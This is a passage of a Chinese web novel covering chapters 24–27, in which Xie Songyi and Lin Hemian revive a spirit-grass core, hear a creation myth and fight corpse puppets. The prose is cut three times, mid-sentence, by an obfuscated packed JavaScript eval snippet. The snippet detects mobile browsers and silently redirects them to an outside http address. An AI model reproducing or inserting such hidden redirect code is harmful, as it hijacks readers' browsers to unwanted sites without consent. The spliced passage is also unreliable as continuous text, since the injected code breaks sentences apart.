谢松意心说陪小孩演戏要求真多,说完就发现这小孩开始打瞌睡了,便改口:“你睡吧,我不灭掉蜡烛。” 林鹤眠也知道自己困了,但他就是懒得挪窝,问道:“你不睡?” “妖不睡觉也可以。” 林鹤眠不知哪来的力气,都困了还能把谢松意拉到床上,谢松意被他拽到床榻最里侧,有些不解:“你不会真的怕黑吧?” 林鹤眠将被子分给他一半:“怕黑我不叫林鹤眠,你就睡这里。” “我说,这是我的床,你怎么搞的像你的床一样。” “我刚才说了我坐上就是我的。” 谢松意算是听出来了,林鹤眠还是有点为刚才的事生气。 算了,不和小孩子计较。 谢松意在心里劝自己,却并没有盖被子:“你有没有发现你没脱衣服?” 林鹤眠被这句话一个激灵,他盯着谢松意,表情复杂:“你不觉得脱衣服睡一起有些那啥么?” 俩大男人脱的只剩亵衣躺在床上睡,怎么看怎么觉得不对劲。 谢松意脑补了一下那种场景,本来他觉得这没什么,但是想到那个该死的谣言,他突然觉得林鹤眠的话很有道理。 这其实是纯放屁,俩人都躺一起了,要是被知道造谣的人看到,那么穿不穿衣服已经没区别了,和衣而卧只是为了给自己一个心理安慰。 不对啊,那是他谢松意的床啊,再怎么说也不能让林鹤眠睡上去! “林鹤眠,起来。” 没人答应。 谢松意抬眼一看,发现林鹤眠已经睡着了。 谢松意:“……” 呵! 算了,不和小孩子计较。 谢松意抬手用妖力灭了灯,睡觉去了。 26. 第二十四章(加了新内容) 次日天光大好,林鹤眠昨晚睡得那叫一个香,谢松意并不习惯和别人同床共枕,所以睡得很浅,醒的也早,等林鹤眠起来,他早就洗漱完了,甚至准备了早饭。 谢松意坐在椅子上,手里拿着一本书,桌上摆着另一份饭菜,冷脸看向睡眼惺忪的林鹤眠:“醒了就快点下床洗漱吃饭然后从我房里出去。” 林鹤眠打了个哈欠,抹掉眼角的泪,一言不发的下了床,看样子有些没睡够,等洗漱完他才有了精神。 谢松意见他过来,把饭推到他面前,林鹤眠扫了一眼饭菜,有些惊讶:“你起这么早?” 谢松意将目光落在手中的书上,漫不经心的回了一句:“早睡早起身体好。” “我觉得早睡晚起更好。”林鹤眠坐下来,开始吃饭。 谢松意“呵”了一声,没好气的说:“你要是起得再晚一点,信不信我直接把你打包送回你房里?” “我下次不赖着你了。” “你这叫强行占床为王。” “嗨呀,就这一次。” 话音刚落,门外就传来一阵敲门声,谢松意喊了一句“进”,狼妖便推门进来。 不进还好,一进去黑豆大的眼睛都快瞪成葡萄大了。 他看到林鹤眠在谢松意房里吃饭,吃的时候还打了一个瞌睡。 狼妖起初没往谣言上想,毕竟昨晚谢松意帮林鹤眠解毒了,但他转念一想,凭谢松意的本事,解个毒根本用不着解一夜啊! 而且,林鹤眠的样子分明是刚睡醒,谁家好人刚睡醒就去别人房里吃早饭啊,他闲的? 除非……俩人昨晚睡一起了。 狼妖:“……” 他总觉得这个想法十分有十二分的不对。 林鹤眠见狼妖愣住,歪着脑袋看他,谢松意看不下去了,抬手间关上门,问:“你在模仿木头人?” 狼妖一个激灵,回过神后匆忙摇头,紧接着是一副天塌了的表情:“我说您学谁不好,怎么偏偏学老板啊!!!” “我学他什么了,你说来听听。”谢松意饶有兴趣的看着狼妖。 狼妖以为他想的是真的,指着谢松意你了半天没蹦出一个字,最后只能恨铁不成钢的拍大腿。 “行了别多想。”谢松意放下手里的书,看向狼妖,“你大早上跑过来不会只是来给我表演木头人不许动吧?” 狼妖“啧”了一声,朝脑门上拍了一下:“我差点忘了,我是来和您说事的。” 狼妖看向林鹤眠,又瞟一眼谢松意,意思是这事不便让林鹤眠知道,谢松意却并不在意,只是说:“他知道也没关系,你说。” 祖宗都发话了,狼妖也就没让林鹤眠出去,毕竟那是祖宗。 “刚才谢大传音说蜉蝣草核现在的状况很不好,让我们最好去看看。” 谢大,是那只蝎子精的名字。 “我知道了,你先去找谢大,等吃过饭我们在绿洲地带边缘地区汇合,记得通知宁小姐。” “您放心,包在我身上!” 狼妖得了命令两腿一抡飞也似的跑了,不知道的还以为他从地狱里解放了呢。 “蜉蝣草核是什么?”林鹤眠咽下嘴里的饭,问。 谢松意起身,收了书放回架子上:“蜉蝣草的生命之源。蜉蝣草是一种极易受妖气影响的植物,可以入药。” “我倒从未听说过。” “妖才知道它的用处,对人来说就是一株野草,而且蜉蝣草治妖不治人。” “你还懂药理?” 谢松意扫林鹤眠一眼,递给他一张帕子:“小时候看的书杂,所以什么都略知一二。” 林鹤眠接过帕子擦嘴:“我们是去看蜉蝣草核,宁然要找溶骨脂,叫上她会不会当误她找东西?” “不会。”谢松意摇头,“蜉蝣草药性被逆转之后就是溶骨脂,这件事是有人故意而为。” 林鹤眠听到“逆转”二字,好奇心突然上来了,毕竟他从未听过还有药性可以被逆转的药,而且还是一种从未听过的草药名字。 “草药的药性还能被逆转?” “当然能,不过需要一些特定条件罢了。” 林鹤眠:“例如?” 谢松意不咸不淡的回了一句:“乱葬岗。” 林鹤眠心下一惊,他莫名想起谢松意之前听到宁然提起乱葬岗时皱眉的样子,也就是说,谢松意昨晚就知道有人动手脚了,只是那人一直不现身。 他能让草药药性逆转,又能让毒兽发狂,蜉蝣草核也是他的手笔。 虽然不知道他要干什么,但是按谢松意之前的说法,毒兽和蜉蝣草核息息相关,那么一旦发狂的毒兽死亡,那人一定会察觉到蜉蝣草核的异动,甚至还可能找到谢松意。 谢松意故意带着毒兽尸体,就是为了引蛇出洞。 林鹤眠把事情捋顺后,满脑子只有一个想法,强大果然是任性的资本,谢松意天不怕地不怕,以身入局倒也不奇怪。 那人想来也是个玩毒高手,就看他能不能玩得过谢松意这种不怕死也死不了的了。 蜉蝣草核在漠林和翠珏镇交界处的地下洞窟内,蝎子精一家是灵蝎一族分支余脉,三百年前那场大战后,负责蜉蝣草核异常情况观测的责任就落到了他们头上,传送阵也由他们负责把守。 传送阵是灵力构成的,宁然但也没怀疑谢大他们的身份,谢大把几人传到蜉蝣草核那里,连带着自己也跟过去了。 蜉蝣草核是一个巨大的圆形空洞,交纵错杂的树根缠绕在一起将空洞围起来。蜉蝣草茂盛时,空洞妖力充沛,反之枯竭,但现在,别说妖力了,空洞里面连个毛都没有。 蜉蝣草核的枯萎不能和寻常植物同等定义,它的枯萎是指妖力衰竭,可如今空洞内部没有一丝妖力,这无异于死了。 狼妖在来之前就和宁然解释了溶骨脂的事,她本想看看这种药的根源是什么样子,结果来了发现啥都没有,顿时有些失望。 谢松意却是一副波澜不惊的样子:“宁小姐,你确定最初发现蜉蝣草的地方是翠珏镇后山的乱葬岗么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014066|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“当然。” “我想请你们再去乱葬岗一趟,随便找一个化成浓水的尸体就行,最好带回来,蜉蝣草核这里交给我。” “行。” “我也去。” “你得帮我守着阵。”谢松意说。 林鹤眠顿住脚步,悻悻而返。 谢松意扫一眼狼妖和谢大:“你俩也跟宁小姐过去。” “谁?我俩?”狼妖指着自己的脖子就是要叫出来,“乱葬岗那里要是真出事了我俩就是给人送福利的,去了不是拖宁小姐后腿?” 宁然不走了,转过身来看向狼妖和谢大:“我又不嫌弃你俩,大不了真出事了咱仨一起死,现在蜉蝣草核最重要。” 狼妖心说其实我俩是不想死的,便要拒绝,奈何余光一瞥偷偷瞟了谢松意一眼,发现这祖宗正盯着自己,仿佛一旦他摇头就能给他和谢大提溜着扔出去。 狼妖怂了,咽了咽口水,说:“既然宁小姐不嫌弃我俩,那我们就去了。” 谢大拽住他的胳膊,一脸震惊:“不是,真去啊?” 狼妖扒开他的手,眼神一瞟示意他看谢松意,谢大顺着狼妖的目光看过去,又触电似的收回来了。 “去就去吧……” 宁然疑惑的扫了谢松意一眼,又看了看狼妖和谢大,又扫谢松意一眼,又看狼妖和谢大。 她总觉得这俩人不是真心的,但多一个人多一份保障,不管是不是真心,三个人总比一个人好,虽然他俩好像没什么自保能力…… 宁然突然发现这是个坑,但她没说,因为决定留下寻找溶骨脂也就是被逆转药性的蜉蝣草时,她就已经跳坑里了,现在顶多是把坑挖深了,自己也陷的更深了。 这坑跳都跳了,大不了躺坑底不起来,反正出事了她家里人会来捞她的。 秉承着这种死猪不怕开水烫、一个坑里躺到底的精神,宁然毅然带着狼妖和谢大去了乱葬岗,颇有一种视死如归的架势。 谢松意等他们都走了,盘腿坐下,浓郁的妖力自体内溢出,蜉蝣草核四周飘起点点白光,似是星子落下。 草核空洞里萦绕着一股气息,那气息霸道无比,却不会攻击人,传送阵上灵力不稳,竟生出了裂纹。 林鹤眠施法修补,裂纹这才逐渐隐去,可一旦停止,裂纹又会蔓延,他只能持续灌注法力维持传送阵的稳定。 大约过去了一炷香的时间,林鹤眠胳膊都抬酸了,谢松意这才喊停。 他有气无力的垂下胳膊,另一只手握成拳用力拍了好几下才缓过来。转身去看时,却发现身后早已变了模样。 草核空洞的树根上生出了新芽,中心有一团绿气,绿气周围是新生的草芽,开满了整个山洞。 谢松意坐在空洞前调息,额头是因大量的妖力供给溢出的汗,林鹤眠恍然大悟,谢松意是用自己的妖力供养了蜉蝣草核,这才让它死而复生。 可这蜉蝣草核的妖力却和平时见到的不一样,林鹤眠能感受到,空洞中心的妖力很熟悉,像是那个困了他三百年的阵。 27. 第二十五章(加了新内容) 阵?! 林鹤眠猛地瞪大双眼,谢松意眼睛还没睁开,人先开口了:“蜉蝣草核需要最纯粹的妖力供养,传送阵受到太过强大的不纯粹的力量影响时会破碎,所以我才让你守阵。” “可你的妖力并不纯粹,而且,明明传送阵是为妖设立的,为何要用灵力布阵?” 前者是林鹤眠刚想到的问题,后者则在他看到传送阵时就起了疑心。 谢松意睁开双眼:“负责守护蜉蝣草核的妖带人入阵不启动阵法也可以,这阵是为了防某些居心不轨的修士。启动阵法的人,没有极其纯粹的灵力是没用的,修补法阵也是如此。” “至于蜉蝣草核,”谢松意扫身后已经焕发生机的草核一眼,见他彻底恢复如初才松了口气,“我的妖力当然不纯粹,但它可以将妖力转化为纯粹的妖力。” 林鹤眠大吃一惊,心说这蜉蝣草核到底是个什么东西,居然有这种功能? 谢松意当然知道他在想什么,林少侠小小的脑袋大大的疑惑,想法都写在他满是问号的脸上了。 “你要不要听一个故事?” “什么故事?” 谢松意笑起来:“有关世界最初模样的故事。” 林鹤眠挑眉:“世界最初的模样?” “这个世界最初只有一只代表生息与杀戮的神兽和一群小妖,生息是灵力,杀戮是妖力。不过说祂是神兽并不合理,因为祂相当于这个世界的创世神。” “后来人类迁徙到这里,日夜耕耘,繁衍生息,祂创造了一个叫古兽境的地方,隔绝了妖和人类的联系。” “再后来,人类彻底定居于此,又分为数个国家,始祖认为是时候让人也突破底线去获得更高级的力量,便将自己的一半灵力洒在世界,从此人间有了灵力和修士。” “始祖又觉得妖也好人也罢,都有自己的发展和未来,所以祂以精血铸魂,创造了长生、九尾天狐、白凤,这三种世间仅存的真正拥有无穷寿数的妖。” “祂将自己的心一分为二植于大地,长出来树被命名为须臾神树,发芽的草则被称为蜉蝣草核。” “须臾神树象征极致纯粹的灵力,蜉蝣草核代表极致纯粹的妖力。唯一不同的是,后者没有前者那种灵力与妖力可以平衡甚至互相转化的力量,而始祖也自此隐匿世间,不问人妖纷争。” 故事讲完,林鹤眠微怔,这个故事和他听的不一样,而且,故事里这位始祖,他从未听说过。 “那位始祖还活着么?” “当然活着,祂不死不灭,心对祂来说只是一个力量容器。” “但为什么书上只记长生不记九尾和白凤?” “谁知道呢,”谢松意耸耸肩,自嘲般笑起来,“可能是因为寓意好吧,谁不想长生不老呢,这种诱惑太诱人了。” 林鹤眠抿了抿唇,他心里突然很不是滋味。 长生不老,真的好么? 因为一个书上连样貌都没记载的古兽,三百年害得那么多人家破人亡,三百年后又让那么多人趋之若鹜。 他、谢松意,还有这其中数不胜数的无辜者,一夕之间全成了孤儿,只因为那个长生? 这哪里是什么寓意好,分明就是一切争端的起源。 如果那位始祖知道祂创造的长生引来这么多杀戮,会不会笑话自己当初为长生赐名时的想法? 须臾、蜉蝣…… 这些词都是时间短暂的象征,须臾是一瞬,是眨眼间便溜走时光,也是始祖眼中的人;蜉蝣比须臾长久,却依旧渺小而短暂,它是始祖眼中的妖。 始祖不死不灭,除去那些拥有始祖血脉的大妖,这天地间任何生灵都不过水中蜉蝣,朝生暮死,只是祂漫长岁月中的一眨眼。 千万载的四季流转于祂而言都不过一刹,可也正是人与妖的悲欢离合在这所谓一刹中的循环往复,形成了如今的世界——人妖共存,纷争不断却都在努力融入对方。 他这一路走来,见过的不多,但能保证那些所见所闻足够真实。 他相信谢松意,也相信自己的亲眼所见。 老板、泛月、甚至是谢松意,他们都在很努力的融入人间,即便知道人与妖的纷争不可避免,却依旧选择去尝试做凡尘一芥子。 或许,他们根本就不想要这无穷的寿数,可谁又知道他们到底在想什么呢。 想要长生不老的,明明得不到却如饥似渴;拥有长生不老的,早已腻了却怎么都甩不掉。 现实就是这么矛盾,否则也不会有那么多人去拜长生。所以他更要杀掉那只长生,父母之仇不得不报,谎言与欺诈也必须被揭穿。 “你说,”林鹤眠终于从纷飞的思绪里找回自己的声音,“我能杀了那只长生么?” 谢松意抬眸,看到林鹤眠对他笑着,心中竟有一瞬的动摇,但一股莫名的私欲却将他的动摇按下去了。 他想对林鹤眠说,其实我就是长生,可一旦捅破这层窗户纸,林鹤眠会怎么样谁都清楚。 他和林鹤眠之间不止有着身份的隔阂,还有一个无法解释的血海深仇,他不想听林鹤眠说我恨你,他也不想见到林鹤眠失望至极的模样。 所以他想,自私一次吧,就一次,他不想被林鹤眠恨,即便连他也不知道自己为什么会有这个想法。 良久,谢松意才开口:“能的。” 你若不能,大不了世间再无长生。 我这条命,留着左右不过是为了见证一段历史,世间再无长生,又何尝不是一段历史? 只不过在那之前,该拿回来的东西,必须拿回来。 “你若杀不了,我来便是。”谢松意面上平淡,看不出任何情绪。 林鹤眠有一瞬的失神,随后又笑起来。 也是,谢松意决定找回自己的东西时,就已经做好自己可能会死的准备了。 可他要找的,到底是什么呢? “你还没提过你要找的东西是什么。” “一颗心。” 林鹤眠眼珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014067|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子差点瞪出来:“什么玩意,你要找一颗心?!” “你不知道么?”谢松意对他的反应很疑惑,“一些很强的妖临死之前会把自己的心当做储存力量的容器传给后代,一来是为了不让自己的妖力被偷走,二来是为了让自己的后代更强。” 林鹤眠心说我真是第一听说,世界起源的故事咱俩听的都不是一个版本,须臾山那些书没记这些。 而且,几乎没什么宗派会提起这件事,因为现在的大妖不多了,强的更是少见。 至于谢松意这种过了这个村就没这个店的存在,林鹤眠觉得哪天要是俩人分道扬镳了,他一辈子都不一定会再遇到谢松意这种妖。 “我还真没听过这个说法。” “你们须臾山教的东西是越来越少了。”谢松意似是在叹气。 林鹤眠听到有人贬自己家,双手抱臂倚着山洞的墙,有些不服:“你又没在须臾山修炼过,怎么会知道教的越来越少了。还有,之前谁吹嘘人类典籍上关于妖的事什么记了什么没记自己一清二楚的,居然还不知道我们不教这个。” “谁说我没在须臾山修炼过?”谢松意面上带笑看向林鹤眠,“你要不要猜一下我为什么姓谢?” “你怕不是随……” 林鹤眠刚想说你怕不是随便取的,但转念一想不对啊,行错老祖也姓谢! 林少侠的脑瓜“砰”的一下炸开了:“不是,你和行错老祖到底什么关系?” “朋友关系。当初你们老祖亲自把我请到须臾山,须臾山那条善则留恶则斩的除妖规矩也是我随他姓后才立下的。” 林鹤眠觉得自己好像吃了一个不得了的瓜,然后这小孩也不知道想到了什么,身体突然一个激灵,谢松意好意提醒:“你别脑补一些想入非非的内容,我和他是正经关系。” “你没自己的姓么?” “妖有名无姓,甚至可以不取名字。他比我大,出事后邀我去须臾山,为了方便我就用了他的姓。” “那你们是怎么认识的?”林鹤眠两只大眼睛闪着八卦的光,照得谢松意睁不开眼。 谢松意避开林鹤眠耀眼的光芒,道:“我在人间出生,很少回妖族。同一条街里有户姓谢的人家,家中有个大我两岁的孩子,名叫谢行错。谢夫人经常会来找我母亲谈话,我和他也就因此认识了。” 林鹤眠恍然大悟的点头:“怪不得你跪祠堂的时候行错老祖那眼神能把我师父吃了,原来是自幼便有的交情。” “我当时已经旁敲侧击你师父让他认真考虑要不要我跪了,奈何他不听。” “别提了,我那时可是实打实的跪了,你就膝盖碰了一下蒲团,也不算完全跪。哪天咱俩再惹祸,我估计师父他老人家该换方法惩罚我们。” 谢松意心说放心吧,你师父估计以后也不敢罚我了,而且,这世上能惩罚我的只有两个存在,一个是父母,另一个是始祖。 至于你师父,罚我之前我还是建议他老人家仔细考虑一下后果。 28. 第二十六章(加了新内容) 山洞里是片刻的静默,不多时,林鹤眠突然想到什么似的叫起来:“你说话怎么避重就轻啊?” “你说典籍的事?”谢松意一副毫不关心的样子,“宫中藏书阁有一本《妖物志》,上面详细记载了各类妖物,你们的宗门就算不记也该教,结果居然不教。” “你说宫中的书有记载?” “当然有。各大宗门典籍里面有九成的内容都来自《妖物志》,不然仅凭你们这些宗门几百年的见闻,哪能了解那么多妖?” 林鹤眠微微点头,他觉得谢松意说的确实在理,这些宗门中创建时间最长的也才五百年,对妖来说这五百年根本不算什么。 不对,且不说为什么各大宗门的典籍都没记载心脏的事,单论那本那本在宫里的《妖物志》,记载了那么多妖,写这本书得用多长时间? 须臾山典籍里记载的妖物特征十分详细,若真是从那本《妖物志》里誊抄出来的,编纂这本书的人恐怕也不止一个,毕竟要写的真实全面要费不少功夫。 不过想不费功夫但也可以,如果书的作者本身就是妖的话,嘶,谢松意之前说他祖父是写书的…… “那本书,不会是你祖父写的吧?” “还挺聪明。”谢松意浅笑。 林鹤眠:6。 他是越发好奇谢松意的身份了,母亲行医祖父写书,自己又这么强,估计家里没出事之前他们一家在妖族的地位也不低。 说不定他是白凤,当然也可能是其他大妖,反正不可能是九尾天狐和长生,前者就剩老板一个了,后者古战场待着呢。 他到底是什么妖啊! “我发现你真是深藏不露。” 谢松意对林鹤眠的马屁置之不理,在心里嗤笑,心说你不也挺能藏,三百多岁的年纪对外宣称自己年方及冠,论藏我哪能输给你一个小屁孩? 一只白色蝴蝶突然穿过传送阵飞到林鹤眠面前,他抬起手,蝴蝶停在食指指腹,里面传来宁然的声音:“林鹤眠,这边出事了,你们快来。” 宁然的声音很大,但抵不住周遭有妖鬼哭狼嚎,所以显得有点小。 谢松意心说不好匆忙起身,林鹤眠眼疾手快,用灵力开了传送阵出去了。 “你哪里怎么那么吵?” “那俩没出息的玩意在哭呢,不吵才怪。这乱葬岗深处有个地洞有东西,我下来一看草了里面全尸傀。” 可以看出来宁然真是很无语,不然一向文明的她也不会爆粗。 “是不是齐简干的?” “不可能,他只是缺德不是蠢。”宁然挥剑带风,风声透过蝴蝶在林鹤眠耳畔响起,“我打听了一下,翠珏镇的乱葬岗地皮被一个焱州人包了,相当于别人的私人财物,他脑子进水了去刨乱葬岗的坟?” “不是,谁那么闲去包乱葬岗?”林鹤眠只觉得那人有病。 “我上哪知道去,人家包了每年还得给钱,这边瞒着不上报谁能想到有人包这种地方的地皮,反正钱不进上面人的口袋。” “啊!!!”又是一阵鬼哭狼嚎,这次是狼妖的声音,“宁小姐,林少侠他们还要多久,我俩不想死啊!” “你俩以为我想啊!” 蝴蝶化成灰烬,林鹤眠估计宁然这会已经没功夫再和他们说话了 等俩人赶过去时,大老远就听到洞里有妖嗷嗷大哭,还时不时尖叫。 林鹤眠突然生出一种槽点太多不知如何吐槽的无力感,他转过头,幽幽的问谢松意:“狼妖到底是怎么在瘴山混到现在的?” 谢松意:“……” 林鹤眠到底哪来的在瘴山混就得很强的错觉? 他能混是因为身份和实力摆在那里,狼妖全靠妖情世故。 “可能里面的尸傀太厉害了。”谢松意朝地洞走去。 林鹤眠若有所思的点头,随后快步跟上。 人还没下去,洞里传来一声嘶吼,紧接着冲天的毒气从洞喷薄而出,谢松意想把林鹤眠推开,林鹤眠却一把抓住他的袖子,不及谢松意开口,洞里传来一个女声。 “我草了啊!” 随后便是重物接二连三砸到地上的声音,毒气不知被什么东西隔绝了,并未散开,反而消失不见。 林鹤眠和谢松意双双够着脑袋往下看,只见墙角里窝着两个瑟瑟发抖的人,一群被放倒的尸傀中间站着一个穿粉衣服的姑娘。 那姑娘对着离自己最近的尸傀狠狠踹了一脚:“打我不打不过你,玩毒姑奶奶我还玩不过你?和我玩毒,谁给你的胆子?” 林鹤眠&谢松意:“……” 二人面面相觑。 林鹤眠:“师兄,我觉得咱俩不该来。” 谢松意:“你别觉得。” “呦,”一个温润带笑的声音从二人身后传来,“谁惹我们家大小姐了这是,隔老远都听见那句粗了。” “堂兄!” 宁然喜出望外的从地洞飞出来,张开双臂扑向来者,那人被她压的朝后退了一步,哄小孩似的拍了拍她的背。 林鹤眠转身望去,发现来者是一个穿着浅蓝色衣衫的男子:“你是?” 那人推开宁然,笑着作了个揖,道:“在下任子安,是宁然的堂兄。” “原来是宁小姐的堂兄。”谢松意的眉微不可查的蹙起,林鹤眠也跟着蹙眉。 毕竟宁然之前说过,买乱葬岗地皮的焱州人,而那些尸傀还会用毒,保不齐就是任家的毒。 但是看宁然的样子,她好像完全没想到这一点。 狼妖拖着谢大千辛万苦的爬上来了,俩人被吓得腿软,宁然又在身边,不能随便用妖力,否则会暴露身份,只能拖着发软的腿硬撒。 结果刚爬上来就看到谢松意正嫌弃的盯着他们,差点两眼一翻松开扒着烂泥杂草的胳膊又掉下去。 然后就形成了一个很奇怪的画面。 地洞边上趴着俩大眼瞪小眼正决定要不要上来的人,俩人头顶是林鹤眠和谢松意,他俩身后是宁然和她堂兄。 狼妖:“……” 谢大低声试探性的开口:“祖宗是不是生气了?我觉得他很嫌弃咱。” 狼妖:“要不咱俩再下去?” 谢松意“啧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014068|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”了一声:“你俩到底上不上来?” “上!” 狼妖拽着谢大就跳上来了,完全没了刚才腿软发抖的样子。 宁然丢给他俩一颗小药丸,狼妖拿着药丸一脸为难:“又要吃?” “我刚才用的是以毒攻毒的法子打尸傀,你俩吸了不少毒气,不吃会死。” 一听会死,俩人眼睛一闭捏着鼻子仰头把药咽下去了。 任子安嘴角抽搐,为什么他看出了一种视死如归的感觉? 任子安:“这药很难入口?” 狼妖几乎要哭出来:“这药又苦又臭,还有没被炼化的毒虫尸体,岂止是难入口,简直能要人命啊!” 任子安:“……” 宁然觉得有一道目光落在自己身上,忙转过头去,撇嘴抱怨:“又不能怪我,我五岁就被你们丢到烟帐山了,学的全是烟帐山的东西,自己家的毒术全靠自学,能练出药效正常的毒药已经很不错了好吗。” 任子安“噗嗤”一声笑出来,轻声道:“好了,我没怪你,最近溶骨脂的事闹的沸沸扬扬,我是奉命来调查的,你可有头绪?” 宁然朝眼前那一堆坟包努努嘴:“喏,这就是头绪。” 任子安挑眉:“乱葬岗?” “溶骨脂是在这里发现的,我刚才爬出来的那个洞里全是尸傀,有人包了乱葬岗的地皮,八成和那个人有关。” “我说小姑娘,你们怎么还在这里,还拖家带口的又多了三个人?” 一个尖细的女声从背后传来,众人纷纷转头,只见一个微胖的中年妇女揽着一个装满了衣服的木盆站在不远处。 “我之前不是和你说了嘛,这里有人包了,你别打它的主意。还有,你一个小姑娘学什么不好,怎么学人倒斗来了,还死盯着乱葬岗挖,这地方能挖出啥值钱的东西?” 林鹤眠转动眼珠子,扫身后那堆尸傀一眼,在心里估摸着这些尸傀值多少钱。 毕竟要说值钱的东西,这些尸傀高低得算一个。 尸傀不会被毒死,现在顶多是被宁然毒晕了,宁然手里肯定有让尸傀醒过来的药。 这玩意不好炼,真炼出来,昧着良心卖给一些捣鼓歪门邪道的修士还是挺赚钱的,就是这钱拿在手里有点烫。 谢松意一言难尽的看了林鹤眠一眼,开始怀疑他到底是不是见清教出来的徒弟。 “我不是倒斗的,只是东西掉乱葬岗了,想来找一下。”宁然随口编瞎话。 女人歪着脑袋,有些疑惑:“什么东西能掉乱葬岗?” 宁然讪笑着说:“哎呀,您是不知道,我养了一只鸟,那鸟最爱叼着我的首饰到处跑。昨天带着我的簪子飞出去玩,结果鸟回来了簪子没回来,镇上找遍了都没找到,只能来镇外,然后就找到了这里。” 女人拖着声音“哦”了一句,笑道:“我还以为你是倒斗的。那你慢慢找,实在找不到可以去镇上的茶馆,那里消息灵通,说什么的都有,说不定就有人见过你的簪子。” “谢谢。” “嗨,小事。”女人把木盆揽的更紧,走了。 29. 第二十七章 等女人走远了,谢松意一把火烧了地洞里的尸傀。 “就这么烧了?”宁然不解。 “留着没用,正常尸傀都是要埋在主人宅邸下的土里,像这种直接丢地洞里的,八成是炼得不合人意被丢过来了。” 宁然看向远处的翠珏镇,问:“那我们去茶馆打听些消息?浓水根本找不到,我估计是被人取走了。” “去,我们得先把包乱葬岗地皮的人找出来。” “那个……”狼妖拉着谢大后退一步,“要不你们去,我俩回家?” 谢大点头如捣蒜:“就是,我们废物两个,去了也帮不了你们,只会拖后腿。” 谢松意眯起眼睛,嘴角微弯,一副和蔼可亲模样:“你们说呢?” 俩人被谢松意笑得起鸡皮疙瘩,恨不得把头摇成拨浪鼓:“不说了不说了,我们跟过去。” 谢松意没再理这俩怂货,扭头走了,俩人抡着小短腿跟在他身后,一路畏畏缩缩的到了进了翠珏镇。 路上宁然把他们四个挨个介绍给任子安,任子安话很少,基本都是宁然在说,他只负责点头表示自己知道了。 等把所有人都介绍完,林鹤眠问了一句:“所以,你为什么会被当成倒斗的?” “别提了。”提起这件事,宁然人都萎靡了几分,“我们三个没找到脓水,我就想着看看能不能先找个中毒但还没化成浓水的尸体带回去,结果坟挖一半被人发现了。” “那个大婶说我挖这里的坟会惹祸上身,我问她为什么,她说这地方有人包了,属于别人,挖了得被找上门。我问那人是谁她说不知道,只知道是焱州人,还催我赶紧走。” “我堂堂焱州任家大小姐,出门找个毒居然被当成倒斗的了,还有那个炼尸傀的人,最好别让我找到他!” 许是因为太气了,宁然说这话时声音都不自觉的高了几分。 对她来说蜉蝣草现在已经不重要了,重要的炼尸傀的那个人! 本来她是准备一开始就毒死那群尸傀的,结果还没动手就发现墙角多了俩时不时抱头鼠串还嗷嗷大叫的鹌鹑。 她不能隔着一堆尸傀把解药提前给了,又不能啥都不管直接放毒,万一下手狠了尸傀没被毒死先把那俩鹌鹑毒死那就麻烦了,只好硬着头皮和那群尸傀打。 打了半天没想到这尸傀会放毒,最操蛋的是尸傀的毒是直接从嘴里喷出来的,她但凡躲得慢一点,就得被离她最近的那个尸傀喷一脸毒气。 她宁然是什么人,焱州任家的大小姐、烟帐山最有天赋的小师妹,长得也好看。 那毒但凡喷她脸上,最低都得毁容。差点毁容这谁能忍,一看尸傀的毒不厉害,宁然二话不说直接放毒,还顺手把溢出的毒气清了。 林鹤眠想起那句粗,突然理解宁然为什么要找那个炼尸傀的人了。 虽然不知道地洞里到底发生了什么,但是可以猜出来,宁大小姐估计是第一次受这种委屈。 进了小镇,人来人往的街道左侧有一栋楼,楼前挂着一面旗,上面写着“茶楼”二字。 林鹤眠上下打量着那栋楼,一副难以置信的样子:“不能是这个楼吧?” 宁然直接走过去:“是不是进去看看不就知道了。” 这姑娘都走进去了,林鹤眠他们干脆也跟了过去,结果不进去还好,一进去谢松意就变脸了。 “呦,小姑娘你也来了?”一个身材较矮的人转过头来,冲宁然微笑。 宁然有些惊讶,随后也笑起来:“你这个点不应该在说书么?” 谢松意一听对方是个说书的,脸更冷了,连屋里的气温都低了几度。 “我再说下去嗓子都哑了,今天歇歇。” “歇得挺好。”谢松意道。 那人听到他的声音后抖了一下,拿着茶盏的手顿在半空,梗着脖子抬头,目光和谢松意对上的那一刻茶盏里的水都洒出来了,得亏他攥得紧,不然杯子就要摔地上了。 “好巧啊。”那人尴尬的笑了两声,试图让谢松意的脸多点温度。 林鹤眠恍然大悟:“所以,就你整天造谣我是断袖?” “什么话这是!”那人不乐意了,但谢松意在场,他又不敢大声说话,说玩前半句就蔫了,小声嘀咕乐意居:“我那是改编小故事好吗!” 